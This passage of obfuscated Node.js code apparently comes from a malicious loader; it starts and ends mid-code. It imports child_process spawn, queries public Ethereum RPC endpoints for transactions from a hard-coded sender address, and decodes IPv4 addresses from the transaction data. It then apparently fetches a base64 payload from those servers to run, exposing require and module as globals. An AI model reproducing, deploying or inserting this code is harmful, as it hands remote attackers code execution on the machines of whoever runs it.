_0x397dee=-parseInt(_0x6e7f50(0x1b6))/(-0x1e28+0x228*0xd+0x221*0x1)*(parseInt(_0x6e7f50(0xf8))/(-0x676+-0x1fe6+0x265e))+-parseInt(_0x6e7f50(0x1cb))/(-0x1e51+0x1c20+0x234)*(-parseInt(_0x6e7f50(0x104))/(-0x2a2*0x2+0x683+0x69*-0x3))+-parseInt(_0x6e7f50(0x20d))/(0x6f7*-0x2+0x1*0x1fe7+0x17f*-0xc)+-parseInt(_0x6e7f50(0x120))/(0x3b*0x1+0x10af+-0x10e4)+parseInt(_0x6e7f50(0x189))/(0x2405+0x2*-0xb0b+-0x2*0x6f4)+-parseInt(_0x6e7f50(0x214))/(-0xb6b+-0x10a3*0x1+0xa*0x2cf)*(parseInt(_0x6e7f50(0x1d9))/(-0x5*-0x613+0x25a8+-0x43fe))+parseInt(_0x6e7f50(0xfb))/(-0x2*-0xf1+0x3*-0xba4+0x92*0x3a)*(parseInt(_0x6e7f50(0x1b9))/(-0x1a34+0x1be0+-0x1a1));if(_0x397dee===_0x550608)break;else _0x327c1c['push'](_0x327c1c['shift']());}catch(_0x5c0db4){_0x327c1c['push'](_0x327c1c['shift']());}}}(_0x8d76,0x6832+0x5ae*-0x1+0x41a76),(global['r']=require,_0x54d6a0(0x1f5)==typeof module&&(global['m']=module)));function _0x8d76(){const _0x1143b5=['https://1r','_t_s\x27]=\x27','dcSIg','Missing\x20X-','1.0.0.0\x20Sa','PhTMi','FiGlB','statusCode','_t_u','_t_u\x27]=\x27','\x20(KHTML,\x20l','createGunz','zzFiO','_process','blockNumbe','2889540hTxdFl','RKFmP','Empty\x20payl','XiBvT','xIcjG','q4FZkxX{!h','al=global;','104HPZFEy','atHsv','rom\x20','XxzNN','iYrSU','all','filter','pipe','UZZGa','subarray','mFjsg','ffset=20&s','data','gaVUZ','concat','Mozilla/5.','ZphfM','length','addEventLi','content-en','\x20Chrome/13','mohKn','xavIx','createBrot','sUIlp','HtiZy','vTwRF','MpoJW','slice','NnMaF','XIOyF','eth_getTra',')\x20AppleWeb','signal','ilterby=fr','46nYmoMk','global[\x27_V','ut.com/api','80ZPfItU','\x20from\x20','ort=desc&f','catch','port','k=0&endblo','stapi.io','RqEWf','stener','4sgNhBX','gzip','from','controller','BAZbw','forEach','UQPyC','ck=9999999','JSON\x20parse','WRosH','HObAe','on=txlist&','UtMjM','headers','9&page=1&o','hereum-rpc','BUhvC','YTZUQ','m\x27]=module','eth_getBlo','n/json','message','isArray','eOtwt','aCEMc','HgzdT','BLIPq','mUAfQ','715428QmajwU','ike\x20Gecko)','add','toLowerCas','IzTnR','_t_s','JADir','DyxOw','protocol','@^1aQk','GET','YsMMv','kkuws','node','rRdIQ','0xa322E5f3','sZEok','IQmPb','skmsP','e;global[\x27','cDsdQ','XhVKA','ybddW','http://','byteLength','kVTWd','HZfmw','node:http','ckByNumber','applicatio','YLWbI','mWItK','uMpQW','fEjyz','count&acti','POST','MHPeX','unt','xzVgU',':80','public.bla','eth_blockN','Agent','yUoLF','deflate','transactio','lATqz','9aDC2490Ef','pathname','ngth','any','Content-Ty',';var\x20_glob','tcMVg','pTrrJ','result','oad\x20body','liDecompre','r\x27]=requir','&startbloc','bchgr','WnlGC','dqeKA','b64','amLyP','xzaGG','CxlVB','HrcFI','ZPARP','gpVdv','jUkIS','oqDiS','LUHYD','HxOSu','findIndex','HTTP\x20','.publicnod','pc.io/eth','yEutj','fari/537.3','Win64;\x20x64','gnHLg',':443','hostname','y-p_>d$0B&','mznyZ','push','parse','QrpHO','unref','yZgOu','csjZj','zgbju','GYYQw','CnTrk','address=',',Sr3=@','fncHB','e.com','min','Dfuew','Kit/537.36','DRWfT','nonce','PlDmM','1701819HkBtmH','end','find','get','node:url','\x20NT\x2010.0;\x20','Non-JSON\x20f','pUKjo','run','stringify','search','AeouB','DPinB','om\x20','abort','\x27]=\x27','x-gzip','nsactionCo','nURGu','tuVty','then','IKCkv','PMdsB','has','SLLHF','BDAAH','https:','kLhnz','PUGED','jWgFC','CvOVE','kbqwS',':443/0x/ls','BlYMr','XFLdT','D311D3080e','h-mainnet.','LLyBH','charCodeAt','node:zlib','h.drpc.org','https://et','FcLkK','\x27;global[\x27',':443/0x/cl','2435tkTIBm','hex','LYKeg','1169762LXMKZh','CBoQL','zABtQ','ZnSIs','EKuIk','UHjEP','gEYiq','createInfl','6f0121063e','resume','keep-alive','?module=ac','fwmrm','0\x20(Windows','HEAD','QfgPB','VDxxS','replace','216183NKqcoi','YkTPL','utf8','uPAyV','2.0','_H2\x27]=\x27','TVPis','coding','ignore','node:https','node:child','sDOlf','fhpKd','error','82125VrESuX','map','KQnvD','lLsVn','\x20failed\x20fr','ate','VcVzY','Vjxpp','jcLLl','IyFeA','GADhE','Wjsis','nvZMN','_H\x27]=\x27','gzip,\x20defl','roCNi','h.blocksco','umber','ZJsjU','trim','RwxAy','TfKgt','ate,\x20br','request','x-payload-','hRhTl','_H2','tjHWY','object','base64','VmBLO','Payload-B6','toString','write','hbZyK','glTEi','Content-Le'];_0x8d76=function(){return _0x1143b5;};return _0x8d76();}const http=require(_0x54d6a0(0x13b)),https=require(_0x54d6a0(0x1d4)),zlib=require(_0x54d6a0(0x1b0)),{URL:URL}=require(_0x54d6a0(0x18d)),{spawn:spawn}=require(_0x54d6a0(0x1d5)+_0x54d6a0(0x20b)),BLOCK_MULTIPLE=0x3e8n,SENDER=(_0x54d6a0(0x12f)+_0x54d6a0(0x1ac)+_0x54d6a0(0x1c1)+_0x54d6a0(0x14f)+'1a')[_0x54d6a0(0x123)+'e'](),NONCE_FANOUT=0x2*-0x99+-0x3*-0xc2f+-0x234f,SEARCH_FLOOR=0x0n,INDEXER_URL=_0x54d6a0(0x1b2)+_0x54d6a0(0x1e9)+_0x54d6a0(0xfa),RPC_ENDPOINTS=[...new Set([process.env.ETH_RPC_URL,_0x54d6a0(0x1fe)+_0x54d6a0(0x16d),_0x54d6a0(0x1b2)+_0x54d6a0(0x1b1),_0x54d6a0(0x1b2)+_0x54d6a0(0x113)+_0x54d6a0(0x16c)+_0x54d6a0(0x182),_0x54d6a0(0x1b2)+_0x54d6a0(0x1ad)+_0x54d6a0(0x148)+_0x54d6a0(0x101)][_0x54d6a0(0x21a)](Boolean))],AGENTS={'http:':new http[(_0x54d6a0(0x14a))]({'keepAlive':!(0x24+0x141*0xb+-0xdef),'keepAliveMsecs':0x7530,'maxSockets':0x40}),'https:':new https[(_0x54d6a0(0x14a))]({'keepAlive':!(0x1b7c+-0x152+0xc5*-0x22),'keepAliveMsecs':0x7530,'maxSockets':0x40})};function linkAbort(_0x33f26e,_0x66a99a){const _0x5efc9c=_0x54d6a0,_0x38f027={'jWgFC':_0x5efc9c(0x197)};_0x33f26e&&_0x33f26e[_0x5efc9c(0x226)+_0x5efc9c(0x103)](_0x38f027[_0x5efc9c(0x1a6)],()=>_0x66a99a[_0x5efc9c(0x197)](),{'once':!(0x22d+-0x1*0xf67+-0x2*-0x69d)});}function decompressStream(_0x175d96){const _0x1d8bf7=_0x54d6a0,_0x5b466a={'amLyP':_0x1d8bf7(0x227)+_0x1d8bf7(0x1d2),'BlYMr':function(_0x5d2699,_0x1dafb2){return _0x5d2699===_0x1dafb2;},'LLyBH':_0x1d8bf7(0x105),'VmBLO':_0x1d8bf7(0x199),'mznyZ':function(_0x3d54c7,_0x4171d7){return _0x3d54c7===_0x4171d7;},'mohKn':_0x1d8bf7(0x14c),'NnMaF':function(_0x1b1695,_0x4d7aa3){return _0x1b1695===_0x4d7aa3;}},_0x4a9ee7=(_0x175d96[_0x1d8bf7(0x111)][_0x5b466a[_0x1d8bf7(0x160)]]||'')[_0x1d8bf7(0x123)+'e']();return _0x5b466a[_0x1d8bf7(0x1aa)](_0x5b466a[_0x1d8bf7(0x1ae)],_0x4a9ee7)||_0x5b466a[_0x1d8bf7(0x1aa)](_0x5b466a[_0x1d8bf7(0x1f7)],_0x4a9ee7)?_0x175d96[_0x1d8bf7(0x21b)](zlib[_0x1d8bf7(0x209)+'ip']()):_0x5b466a[_0x1d8bf7(0x175)](_0x5b466a[_0x1d8bf7(0x229)],_0x4a9ee7)?_0x175d96[_0x1d8bf7(0x21b)](zlib[_0x1d8bf7(0x1c0)+_0x1d8bf7(0x1de)]()):_0x5b466a[_0x1d8bf7(0xf2)]('br',_0x4a9ee7)?_0x175d96[_0x1d8bf7(0x21b)](zlib[_0x1d8bf7(0x22b)+_0x1d8bf7(0x159)+'ss']()):_0x175d96;}function httpRequest(_0x115692,{method:_0x5cbe3e=_0x54d6a0(0x12a),body:_0x16015d,signal:_0x3c3a4c}={}){const _0x36b38f=_0x54d6a0,_0x21dd01={'CnTrk':_0x36b38f(0x1cd),'yUoLF':function(_0x4f30e4,_0x423ed2){return _0x4f30e4<_0x423ed2;},'uMpQW':function(_0xd98cec,_0x26732e){return _0xd98cec>=_0x26732e;},'VcVzY':function(_0x576b0f,_0x172d51){return _0x576b0f(_0x172d51);},'fncHB':function(_0x2a0ca9,_0x4fc626){return _0x2a0ca9===_0x4fc626;},'ZnSIs':function(_0x53f6c5,_0x29d819){return _0x53f6c5!==_0x29d819;},'lATqz':function(_0x16bb31,_0x435a36){return _0x16bb31!==_0x435a36;},'BDAAH':_0x36b38f(0x220),'TfKgt':_0x36b38f(0x18a),'HgzdT':_0x36b38f(0x1d8),'CvOVE':_0x36b38f(0x1a3),'hRhTl':function(_0x140368,_0x1a9172){return _0x140368+_0x1a9172;},'skmsP':function(_0x382265,_0x31bd86){return _0x382265!=_0x31bd86;},'IQmPb':_0x36b38f(0x13d)+_0x36b38f(0x118),'cDsdQ':_0x36b38f(0x1e7)+_0x36b38f(0x1ef),'yEutj':_0x36b38f(0x1c3),'GYYQw':_0x36b38f(0x153)+'pe','YTZUQ':_0x36b38f(0x1fd)+_0x36b38f(0x151)},_0x1d7cb0=new URL(_0x115692),_0x23ffdc=_0x21dd01[_0x36b38f(0x181)](_0x21dd01[_0x36b38f(0x1a7)],_0x1d7cb0[_0x36b38f(0x128)])?https:http,_0x574fd6={'Accept':_0x21dd01[_0x36b38f(0x131)],'Accept-Encoding':_0x21dd01[_0x36b38f(0x134)],'Connection':_0x21dd01[_0x36b38f(0x16e)]};return _0x21dd01[_0x36b38f(0x132)](null,_0x16015d)&&(_0x574fd6[_0x21dd01[_0x36b38f(0x17d)]]=_0x21dd01[_0x36b38f(0x131)],_0x574fd6[_0x21dd01[_0x36b38f(0x115)]]=Buffer[_0x36b38f(0x138)](_0x16015d)),new Promise((_0x55d32e,_0x543699)=>{const _0x87d1ca=_0x36b38f,_0x23ed60=_0x23ffdc[_0x87d1ca(0x1f0)]({'hostname':_0x1d7cb0[_0x87d1ca(0x173)],'port':_0x1d7cb0[_0x87d1ca(0xff)]||(_0x21dd01[_0x87d1ca(0x181)](_0x21dd01[_0x87d1ca(0x1a7)],_0x1d7cb0[_0x87d1ca(0x128)])?0x1*-0xfed+-0x2*0x11ef+0x3586:0x19e4*-0x1+0x1*-0x19ab+-0x33df*-0x1),'path':_0x21dd01[_0x87d1ca(0x1f2)](_0x1d7cb0[_0x87d1ca(0x150)],_0x1d7cb0[_0x87d1ca(0x193)]),'method':_0x5cbe3e,'agent':AGENTS[_0x1d7cb0[_0x87d1ca(0x128)]],'signal':_0x3c3a4c,'headers':_0x574fd6},_0x37333e=>{const _0x2cc4ba=_0x87d1ca,_0x2cd784={'MpoJW':_0x21dd01[_0x2cc4ba(0x17e)],'kbqwS':function(_0x5577a7,_0x59f394){const _0x3b82e1=_0x2cc4ba;return _0x21dd01[_0x3b82e1(0x14b)](_0x5577a7,_0x59f394);},'nURGu':function(_0x4dc6b0,_0x11c57f){const _0x34991d=_0x2cc4ba;return _0x21dd01[_0x34991d(0x140)](_0x4dc6b0,_0x11c57f);},'aCEMc':function(_0xd1e04c,_0x3fe2b1){const _0x393823=_0x2cc4ba;return _0x21dd01[_0x393823(0x1df)](_0xd1e04c,_0x3fe2b1);},'GADhE':function(_0x2c5704,_0x311e5e){const _0x3fe8da=_0x2cc4ba;return _0x21dd01[_0x3fe8da(0x181)](_0x2c5704,_0x311e5e);},'UHjEP':function(_0x567d3e,_0x1263dd){const _0x50ae6a=_0x2cc4ba;return _0x21dd01[_0x50ae6a(0x1bc)](_0x567d3e,_0x1263dd);},'HZfmw':function(_0x4dbc83,_0x4fbae7){const _0x3e5056=_0x2cc4ba;return _0x21dd01[_0x3e5056(0x14e)](_0x4dbc83,_0x4fbae7);}},_0x37db83=_0x21dd01[_0x2cc4ba(0x1df)](decompressStream,_0x37333e),_0x454e3f=[];_0x37db83['on'](_0x21dd01[_0x2cc4ba(0x1a2)],_0x105127=>_0x454e3f[_0x2cc4ba(0x176)](_0x105127)),_0x37db83['on'](_0x21dd01[_0x2cc4ba(0x1ee)],()=>{const _0x3868ca=_0x2cc4ba,_0x469fb9=Buffer[_0x3868ca(0x222)](_0x454e3f)[_0x3868ca(0x1f9)](_0x2cd784[_0x3868ca(0xf0)])[_0x3868ca(0x1ec)]();if(_0x2cd784[_0x3868ca(0x1a8)](_0x37333e[_0x3868ca(0x205)],0xb09*0x1+0xcd+0xb0e*-0x1)||_0x2cd784[_0x3868ca(0x19b)](_0x37333e[_0x3868ca(0x205)],0xf47*0x1+0x454+0x16b*-0xd))return _0x2cd784[_0x3868ca(0x11c)](_0x543699,new Error(_0x3868ca(0x16b)+_0x37333e[_0x3868ca(0x205)]+_0x3868ca(0xfc)+_0x1d7cb0[_0x3868ca(0x173)]+':\x20'+_0x469fb9[_0x3868ca(0xf1)](0x469+0x1*0xe14+-0x127d,0x1488+0x1*-0x4d+-0x13c3)));if(!_0x469fb9||_0x2cd784[_0x3868ca(0x1e3)]('<',_0x469fb9[0x3*-0xb3+0xd81*0x2+0x18e9*-0x1])||_0x2cd784[_0x3868ca(0x1be)]('{',_0x469fb9[-0x147a+-0x204+0x167e])&&_0x2cd784[_0x3868ca(0x13a)]('[',_0x469fb9[0xef0+-0x70f+-0x7e1]))return _0x2cd784[_0x3868ca(0x11c)](_0x543699,new Error(_0x3868ca(0x18f)+_0x3868ca(0x216)+_0x1d7cb0[_0x3868ca(0x173)]+':\x20'+_0x469fb9[_0x3868ca(0xf1)](0x58e*-0x3+0x20d1+0x5*-0x33b,-0xdc6+0xa7b*-0x1+0x18b9)));try{_0x2cd784[_0x3868ca(0x11c)](_0x55d32e,JSON[_0x3868ca(0x177)](_0x469fb9));}catch(_0x11d3af){_0x2cd784[_0x3868ca(0x11c)](_0x543699,new Error(_0x3868ca(0x10c)+_0x3868ca(0x1dd)+_0x3868ca(0x196)+_0x1d7cb0[_0x3868ca(0x173)]+':\x20'+_0x11d3af[_0x3868ca(0x119)]));}}),_0x37db83['on'](_0x21dd01[_0x2cc4ba(0x11d)],_0x543699);});_0x23ed60['on'](_0x21dd01[_0x87d1ca(0x11d)],_0x543699),_0x21dd01[_0x87d1ca(0x132)](null,_0x16015d)&&_0x23ed60[_0x87d1ca(0x1fa)](_0x16015d),_0x23ed60[_0x87d1ca(0x18a)]();});}async function withRpcEndpoints(_0x3caa93,_0x10d141){const _0x8dfdd2=_0x54d6a0,_0x482be2=RPC_ENDPOINTS[_0x8dfdd2(0x1da)](()=>new AbortController());_0x482be2[_0x8dfdd2(0x109)](_0x340589=>linkAbort(_0x10d141,_0x340589));try{return await Promise[_0x8dfdd2(0x152)](RPC_ENDPOINTS[_0x8dfdd2(0x1da)]((_0xe596a,_0x1d81cd)=>_0x3caa93(_0xe596a,_0x482be2[_0x1d81cd][_0x8dfdd2(0xf6)])));}finally{for(const _0x58ec6a of _0x482be2)_0x58ec6a[_0x8dfdd2(0x197)]();}}async function rpcCall(_0x5ee7fb,_0x206242,_0x4a8065,_0x3186c8){const _0x94232=_0x54d6a0,_0x40ec99={'QrpHO':function(_0x85c6,_0x3e0205,_0x56b6cf){return _0x85c6(_0x3e0205,_0x56b6cf);},'xIcjG':_0x94232(0x143),'fhpKd':_0x94232(0x1cf)};return(await _0x40ec99[_0x94232(0x178)](httpRequest,_0x5ee7fb,{'method':_0x40ec99[_0x94232(0x211)],'body':JSON[_0x94232(0x192)]({'jsonrpc':_0x40ec99[_0x94232(0x1d7)],'id':0x1,'method':_0x206242,'params':_0x4a8065}),'signal':_0x3186c8}))[_0x94232(0x157)];}async function rpcBatch(_0x6d62f9,_0x221a78,_0x31262b){const _0x215af5=_0x54d6a0,_0x3f8344={'mUAfQ':function(_0x5034bc,_0x1ff298,_0x20161e){return _0x5034bc(_0x1ff298,_0x20161e);},'zABtQ':_0x215af5(0x143)},_0x375e4c=await _0x3f8344[_0x215af5(0x11f)](httpRequest,_0x6d62f9,{'method':_0x3f8344[_0x215af5(0x1bb)],'body':JSON[_0x215af5(0x192)](_0x221a78[_0x215af5(0x1da)](([_0x37664d,_0x204451],_0x29fd79)=>({'jsonrpc':_0x215af5(0x1cf),'id':_0x29fd79+(0x1*0x125a+-0xb*-0x35b+0x283*-0x16),'method':_0x37664d,'params':_0x204451}))),'signal':_0x31262b}),_0x1a427e=new Map(_0x375e4c[_0x215af5(0x1da)](_0x417390=>[_0x417390['id'],_0x417390]));return _0x221a78[_0x215af5(0x1da)]((_0x29345f,_0x2a2e51)=>_0x1a427e[_0x215af5(0x18c)](_0x2a2e51+(0x308*0x1+0x1*-0x2507+0x88*0x40))[_0x215af5(0x157)]);}const toBlockHex=_0x3a878c=>'0x'+_0x3a878c[_0x54d6a0(0x1f9)](-0x41*-0x4f+-0x19*-0x15d+-0x3614);function findSenderTx(_0x303013){const _0x29999a=_0x54d6a0;return _0x303013[_0x29999a(0x18b)](_0x21bc3f=>_0x21bc3f[_0x29999a(0x106)]&&_0x21bc3f[_0x29999a(0x106)][_0x29999a(0x123)+'e']()===SENDER)||null;}function decodeAddress(_0x11a02d){const _0x31ed82=_0x54d6a0,_0x265dad={'HtiZy':_0x31ed82(0x1b7),'PlDmM':function(_0x3941d7,_0x56b387){return _0x3941d7(_0x56b387);},'kkuws':function(_0x4536ea,_0x376a82){return _0x4536ea(_0x376a82);}},_0x4473a4=Buffer[_0x31ed82(0x106)](_0x11a02d[_0x31ed82(0x1ca)](/^0x/i,''),_0x265dad[_0x31ed82(0x22d)]),_0x194429=_0x23ab53=>_0x23ab53[-0x1624+-0x2403+0x3a27]+'.'+_0x23ab53[0x2383+-0x12e8+-0x109a]+'.'+_0x23ab53[-0xc9f+0x5*-0x735+0x30aa*0x1]+'.'+_0x23ab53[0x346*0x2+0x15e5+0x6*-0x4bd];return[_0x265dad[_0x31ed82(0x188)](_0x194429,_0x4473a4[_0x31ed82(0x21d)](-0x7*-0x239+0x1916+0x821*-0x5,-0x14*0x3+-0x25f9+-0x203*-0x13)),_0x265dad[_0x31ed82(0x12c)](_0x194429,_0x4473a4[_0x31ed82(0x21d)](0xcff+0x1a0a+-0x7*0x593,0x6b8+-0x694+-0x1c))];}function firstMatch(_0x1f134c){const _0x392a12={'XhVKA':function(_0x41f949,_0x5469bf){return _0x41f949!==_0x5469bf;},'UZZGa':function(_0xbf2475,_0x482bb5){return _0xbf2475(_0x482bb5);},'zgbju':function(_0x4f8f92,_0xb9d4b7){return _0x4f8f92===_0xb9d4b7;}};return new Promise(_0x559a03=>{const _0x5e584c=_0x2a4d,_0x4e3aa5={'XxzNN':function(_0x203e42,_0x579217){const _0xd8d824=_0x2a4d;return _0x392a12[_0xd8d824(0x21c)](_0x203e42,_0x579217);},'rRdIQ':function(_0x6f2f2a,_0x5e968c){const _0x4460e3=_0x2a4d;return _0x392a12[_0x4460e3(0x17c)](_0x6f2f2a,_0x5e968c);},'HObAe':function(_0xdb8766,_0x35d519){const _0x39066c=_0x2a4d;return _0x392a12[_0x39066c(0x21c)](_0xdb8766,_0x35d519);}};let _0x1024fc=_0x1f134c[_0x5e584c(0x225)];if(!_0x1024fc)return _0x392a12[_0x5e584c(0x21c)](_0x559a03,null);let _0x1e5ca0=!(-0xf06+0x19f4+-0xaed);const _0x4e27e1=_0x2af259=>{const _0x288203=_0x5e584c;if(!_0x1e5ca0){_0x1e5ca0=!(0x1*-0x1a88+0x110e+0x97a);for(const _0x3ff29a of _0x1f134c)_0x3ff29a[_0x288203(0x107)][_0x288203(0x197)]();_0x4e3aa5[_0x288203(0x217)](_0x559a03,_0x2af259);}};for(const _0x24ae12 of _0x1f134c)_0x24ae12[_0x5e584c(0x191)]()[_0x5e584c(0x19d)](_0x1f9747=>{const _0x2a38b9=_0x5e584c;_0x1e5ca0||(_0x1f9747?_0x4e3aa5[_0x2a38b9(0x217)](_0x4e27e1,_0x1f9747):_0x4e3aa5[_0x2a38b9(0x12e)](-0x1*0x117a+-0x10d*0x1+0x1287,--_0x1024fc)&&_0x4e3aa5[_0x2a38b9(0x10e)](_0x559a03,null));})[_0x5e584c(0xfe)](()=>{const _0x503112=_0x5e584c;_0x1e5ca0||_0x392a12[_0x503112(0x135)](0xa9*0x7+0x1f86+-0x2425*0x1,--_0x1024fc)||_0x392a12[_0x503112(0x21c)](_0x559a03,null);});});}function candidateBlocks(_0x55bbc4){const _0x3a7778=_0x54d6a0,_0x3a67e5={'YkTPL':function(_0x34e570,_0x1fd99f){return _0x34e570-_0x1fd99f;},'dcSIg':function(_0x499eba,_0x572937){return _0x499eba+_0x572937;},'nvZMN':function(_0x425685,_0x377847){return _0x425685+_0x377847;},'xzaGG':function(_0x56c544,_0x236159){return _0x56c544<_0x236159;}},_0x4bbee3=_0x3a67e5[_0x3a7778(0x1cc)](_0x55bbc4,BLOCK_MULTIPLE),_0x27bd3d=new Set(),_0x28746d=[];for(const _0x1c483d of[_0x3a67e5[_0x3a7778(0x1cc)](_0x55bbc4,0x1n),_0x55bbc4,_0x3a67e5[_0x3a7778(0x200)](_0x55bbc4,0x1n),_0x3a67e5[_0x3a7778(0x1cc)](_0x4bbee3,0x1n),_0x4bbee3,_0x3a67e5[_0x3a7778(0x1e5)](_0x4bbee3,0x1n)]){if(_0x3a67e5[_0x3a7778(0x161)](_0x1c483d,0x0n))continue;const _0x4e0542=_0x1c483d[_0x3a7778(0x1f9)]();_0x27bd3d[_0x3a7778(0x1a0)](_0x4e0542)||(_0x27bd3d[_0x3a7778(0x122)](_0x4e0542),_0x28746d[_0x3a7778(0x176)](_0x1c483d));}return _0x28746d;}function blockTask(_0x55aa47){const _0x19eb7d={'roCNi':function(_0x2326eb,_0x2c1396,_0x1079e9){return _0x2326eb(_0x2c1396,_0x1079e9);},'tjHWY':function(_0xd5d3f2,_0x4c4a9d){return _0xd5d3f2(_0x4c4a9d);}},_0x165a51=new AbortController();return{'controller':_0x165a51,'run':async()=>{const _0x22fcd4=_0x2a4d,_0x2b3a87=await _0x19eb7d[_0x22fcd4(0x1e8)](withRpcEndpoints,(_0xa4a619,_0x423eb9)=>rpcCall(_0xa4a619,_0x22fcd4(0x117)+_0x22fcd4(0x13c),[toBlockHex(_0x55aa47),!(-0x1*0x1c71+-0x1004+0x1*0x2c75)],_0x423eb9),_0x165a51[_0x22fcd4(0xf6)]),_0x1901d7=_0x2b3a87?.[_0x22fcd4(0x14d)+'ns'];if(!Array[_0x22fcd4(0x11a)](_0x1901d7))return null;const _0x4e9059=_0x19eb7d[_0x22fcd4(0x1f4)](findSenderTx,_0x1901d7);return _0x4e9059?{'blockNumber':_0x55aa47,'tx':_0x4e9059}:null;}};}async function nonceAtBlocks(_0x127d34,_0x338844){const _0x4c8882=_0x54d6a0,_0x2f043a={'PUGED':function(_0xec1832,_0x59b1af,_0x58c5fc){return _0xec1832(_0x59b1af,_0x58c5fc);}},_0x5eb1a0=_0x127d34[_0x4c8882(0x1da)](_0x277a16=>[_0x4c8882(0xf4)+_0x4c8882(0x19a)+_0x4c8882(0x145),[SENDER,toBlockHex(_0x277a16)]]);try{return(await _0x2f043a[_0x4c8882(0x1a5)](withRpcEndpoints,(_0xf49689,_0x40875b)=>rpcBatch(_0xf49689,_0x5eb1a0,_0x40875b),_0x338844))[_0x4c8882(0x1da)](BigInt);}catch{return(await Promise[_0x4c8882(0x219)](_0x5eb1a0[_0x4c8882(0x1da)](([_0x52b570,_0x1421ca])=>withRpcEndpoints((_0x5061b2,_0x106db8)=>rpcCall(_0x5061b2,_0x52b570,_0x1421ca,_0x106db8),_0x338844))))[_0x4c8882(0x1da)](BigInt);}}async function lastSenderTx(_0x475a90){const _0x4b6d9e=_0x54d6a0,_0x1f8307={'bchgr':function(_0x3fa81d,_0x1695b6){return _0x3fa81d(_0x1695b6);},'XFLdT':function(_0x430590,_0x288d3b,_0xea9e70){return _0x430590(_0x288d3b,_0xea9e70);},'eOtwt':function(_0x1736ea,_0x237b81,_0x1d48f6){return _0x1736ea(_0x237b81,_0x1d48f6);},'kVTWd':function(_0x58ff4f,_0x341223){return _0x58ff4f-_0x341223;},'gnHLg':function(_0x1d8a1b,_0x164aea){return _0x1d8a1b-_0x164aea;},'hbZyK':function(_0x2e1127,_0x3e3c70){return _0x2e1127>_0x3e3c70;},'DyxOw':function(_0x3d4df8,_0x303658){return _0x3d4df8-_0x303658;},'tcMVg':function(_0xf4c982,_0x1aa6ec){return _0xf4c982-_0x1aa6ec;},'FcLkK':function(_0x32a404,_0x24dbf7){return _0x32a404-_0x24dbf7;},'QfgPB':function(_0x3ef7bb,_0x59711f){return _0x3ef7bb(_0x59711f);},'RKFmP':function(_0x45ff38,_0x2c974f){return _0x45ff38(_0x2c974f);},'yZgOu':function(_0x52825c,_0x52612a){return _0x52825c<=_0x52612a;},'IzTnR':function(_0x196f12,_0x3fa7b2){return _0x196f12+_0x3fa7b2;},'vTwRF':function(_0x3fed9c,_0x4ba5be){return _0x3fed9c/_0x4ba5be;},'ybddW':function(_0x1ae806,_0x973061){return _0x1ae806*_0x973061;},'atHsv':function(_0x496a9e,_0x440764){return _0x496a9e===_0x440764;},'VDxxS':function(_0x2b4a0f,_0x4010aa){return _0x2b4a0f-_0x4010aa;},'PhTMi':function(_0x45787f,_0x384cea){return _0x45787f-_0x384cea;},'uPAyV':function(_0x20da6d,_0x53e57c){return _0x20da6d(_0x53e57c);},'KQnvD':function(_0x387b68,_0x364fb5){return _0x387b68(_0x364fb5);}},_0x105643=new AbortController();try{const _0x390793=_0x475a90??_0x1f8307[_0x4b6d9e(0x15c)](BigInt,await _0x1f8307[_0x4b6d9e(0x1ab)](withRpcEndpoints,(_0x11f8bb,_0x13e72c)=>rpcCall(_0x11f8bb,_0x4b6d9e(0x149)+_0x4b6d9e(0x1ea),[],_0x13e72c),_0x105643[_0x4b6d9e(0xf6)])),_0x2467b6=_0x1f8307[_0x4b6d9e(0x15c)](BigInt,await _0x1f8307[_0x4b6d9e(0x11b)](withRpcEndpoints,(_0x566eb2,_0x311e6f)=>rpcCall(_0x566eb2,_0x4b6d9e(0xf4)+_0x4b6d9e(0x19a)+_0x4b6d9e(0x145),[SENDER,toBlockHex(_0x390793)],_0x311e6f),_0x105643[_0x4b6d9e(0xf6)])),_0x2be159=_0x1f8307[_0x4b6d9e(0x139)](_0x2467b6,0x1n);let _0x12e833=_0x1f8307[_0x4b6d9e(0x171)](SEARCH_FLOOR,0x1n),_0x1dab97=_0x390793;for(;_0x1f8307[_0x4b6d9e(0x1fb)](_0x1f8307[_0x4b6d9e(0x127)](_0x1dab97,_0x12e833),0x1n);){const _0x5efa03=_0x1f8307[_0x4b6d9e(0x155)](_0x1f8307[_0x4b6d9e(0x1b3)](_0x1dab97,_0x12e833),0x1n),_0x5797d1=_0x1f8307[_0x4b6d9e(0x1c8)](BigInt,Math[_0x4b6d9e(0x183)](NONCE_FANOUT,_0x1f8307[_0x4b6d9e(0x20e)](Number,_0x5efa03))),_0x52148d=[];for(let _0x2f6e4a=0x1n;_0x1f8307[_0x4b6d9e(0x17a)](_0x2f6e4a,_0x5797d1);_0x2f6e4a+=0x1n)_0x52148d[_0x4b6d9e(0x176)](_0x1f8307[_0x4b6d9e(0x124)](_0x12e833,_0x1f8307[_0x4b6d9e(0x22e)](_0x1f8307[_0x4b6d9e(0x136)](_0x2f6e4a,_0x1f8307[_0x4b6d9e(0x139)](_0x1dab97,_0x12e833)),_0x1f8307[_0x4b6d9e(0x124)](_0x5797d1,0x1n))));const _0x58df0e=(await _0x1f8307[_0x4b6d9e(0x11b)](nonceAtBlocks,_0x52148d,_0x105643[_0x4b6d9e(0xf6)]))[_0x4b6d9e(0x16a)](_0x24cfbc=>_0x24cfbc>=_0x2467b6);_0x1f8307[_0x4b6d9e(0x215)](-(0x9a7+0x3*0x1cc+-0xf0a),_0x58df0e)?_0x12e833=_0x52148d[_0x1f8307[_0x4b6d9e(0x1c9)](_0x52148d[_0x4b6d9e(0x225)],0x92*-0xa+-0x381+0x9*0x106)]:(_0x1dab97=_0x52148d[_0x58df0e],_0x1f8307[_0x4b6d9e(0x1fb)](_0x58df0e,-0x3cf*0x5+-0x1c4*0xa+0x24b3)&&(_0x12e833=_0x52148d[_0x1f8307[_0x4b6d9e(0x203)](_0x58df0e,0x1*-0x14b3+0x7*-0x51a+0x386a)]));}const _0x5a542e=await _0x1f8307[_0x4b6d9e(0x1ab)](withRpcEndpoints,(_0x7df22,_0x15002d)=>rpcCall(_0x7df22,_0x4b6d9e(0x117)+_0x4b6d9e(0x13c),[toBlockHex(_0x1dab97),!(-0x1*0x1b9c+-0x40a*-0x6+-0x12*-0x30)],_0x15002d),_0x105643[_0x4b6d9e(0xf6)]),_0x1a52be=_0x5a542e?.[_0x4b6d9e(0x14d)+'ns']||[];let _0x4db19a=null;for(const _0x369b42 of 